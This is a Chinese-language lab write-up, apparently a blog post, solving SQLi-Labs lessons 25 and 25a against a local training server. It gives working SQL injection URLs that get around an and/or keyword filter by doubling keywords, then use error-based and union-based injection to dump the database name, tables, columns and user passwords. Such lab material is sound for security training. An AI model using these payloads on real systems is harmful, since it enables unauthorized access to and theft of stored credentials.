SqliLabs Less25-25a

第二十五关

 

GET类型基于单引号,and,or过滤(你所有的and,or都是我们的!)的错误

1.使用union select 1,2,3(尽量避过and,or)

   http://127.0.0.1:500/Less-25/?id=-1' union select 1,2,3--+

 2.双写关键字(避无可避,无需再避)

代码可以过滤and,那么我们可以写两个,比如anandd,它过滤掉里面的and,咱们还剩一个,它一个,我一个,or同理可以写成oorr

http://127.0.0.1:500/Less-25/?id=-1' anandd extractvalue(1,0x7e)--+

 爆库

 http://127.0.0.1:500/Less-25/?id=-1' anandd extractvalue(1,concat(0x7e,database()))--+

 后续把database()换成sql语句就行了,就不赘述了

 

GET类型基于and,or过滤的数字型盲注

1.判断注入点

  与25关差不多,采取联合注入的方式,and,or采取双写关键字的形式

2.判断列数

   http://127.0.0.1:500/Less-25a/?id=1 oorrder by 3 #

 3.爆库

http://127.0.0.1:500/Less-25a/?id=-1 union select 1,database(),3 --+

 4.爆表(双写infoorrmation)

http://127.0.0.1:500/Less-25a/?id=-1 union select 1,group_concat(table_name),3  from infoorrmation_schema.tables where table_schema = 'security'  #

 5.爆列(双写anandd)

http://127.0.0.1:500/Less-25a/?id=-1 union select 1,group_concat(column_name),3  from infoorrmation_schema.columns where table_schema = 'security' anandd table_name = 'users'  #

 6.爆数据(双写passwoorrd)

http://127.0.0.1:500/Less-25a/?id=-1 union select 1,group_concat(id,' ',username,' ',passwoorrd),3 from users #

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值